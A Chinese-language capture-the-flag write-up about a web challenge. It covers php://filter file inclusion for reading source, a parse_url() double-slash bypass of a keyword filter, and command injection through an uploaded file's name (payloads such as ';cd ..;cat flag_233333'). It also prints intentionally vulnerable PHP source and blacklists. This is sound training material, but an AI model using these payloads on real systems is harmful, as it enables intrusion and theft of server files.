题倒是不难，但是实在是恶心到了。
上来就是登录框，页面源代码也没什么特别的。寻思抓包看一下，数据包直接返回了sql查询语句。到以为是sql注入的题目，直到我看到了单引号被转义。。。挺抽象，似乎sql语句过滤很严格。又扫描后台，发现register.php。
admin注册不了，应该有限制。
源代码还是没什么特别。但url还是很明显
猜测是否存在文件包含。掏出伪协议 ，这题的源码应该会自动补齐后缀
/user.php?page=php://filter/read=convert.base64-encode/resource=index<?php
require_once "function.php";
if(isset($_SESSION['login'] )){Header("Location: user.php?page=info");
}
else{include "templates/index.html";
}
?>可给我高兴坏了，以为数据包里的session可以搞事情，可弄了半天啥也没有。。。
那就继续都user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>session还是搞不了。info不能直接读取，看看function.php吧
<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
// var_dump($res);
// die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>
重点代码在这
$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}过滤了几个关键的单词 。这里重点要绕过parse_url()函数
此函数返回一个关联数组，包含现有 URL 的各种组成部分。如果缺少了其中的某一个，则不会为这个组成部分创建数组项。多加了一个/ 导致 严重不合格的 URL，parse_url() 返回FALSE 这个是通用的绕过方法
//user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>哎，继续包含
//m4aaannngggeee<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";?>！！！upload.html。终于可以拿shell了吗。访问这个路径
http://146803fe-f52f-41f6-b815-0da93cf9caed.node5.buuoj.cn:81/templates/upload.html我都准备抓包了，最后发现，上传是假的！！！ 先拿去读以下源码
//upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file锛?);
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>抓数据包的时候发现，要访问/upllloadddd.php问呢才行
绷不住了。抓包吧
如果不认真看源码，就去上传图片码或者php文件，那你就g了，以为它给你的上传路径下边也没有文件。
它已经给过提示了，我是傻子，QAQ。重点在这
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -上传的文件名可以命令执行
payload: ;ls
上述图片解码后就是这些
assert
back_assert
config.php
error_parameter.php
ffffllllaaaaggg.php
function.php
guest.php
hacker.php
hacker2.php
index.php
info.php
login.php
logo.png
m4aaannngggeee.php
register.php
templates
updateadmin.php
updateadmin.php~
updateadmin233333333333333.php
upllloadddd.php
upload_b3bb2cfed6371dfeb2db1dbcceb124d3
user.php
菌)狕受Z弹?帙冬{?assert
back_assert
config.php
error_parameter.php
ffffllllaaaaggg.php
function.php
guest.php
hacker.php
hacker2.php
index.php
info.php
login.php
logo.png
m4aaannngggeee.php
register.php
templates
updateadmin.php
updateadmin.php~
updateadmin233333333333333.php
upllloadddd.php
upload_b3bb2cfed6371dfeb2db1dbcceb124d3
user.php难以想象作者的状态。还过滤了"/"。
payload: ;cd ..;lsapp
bin
boot
data
dev
etc
flag_233333
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
看见flag了。
payload: ;cd ..;cat flag_233333
也算是拿到了 。题到是不难，就是有点怪怪的
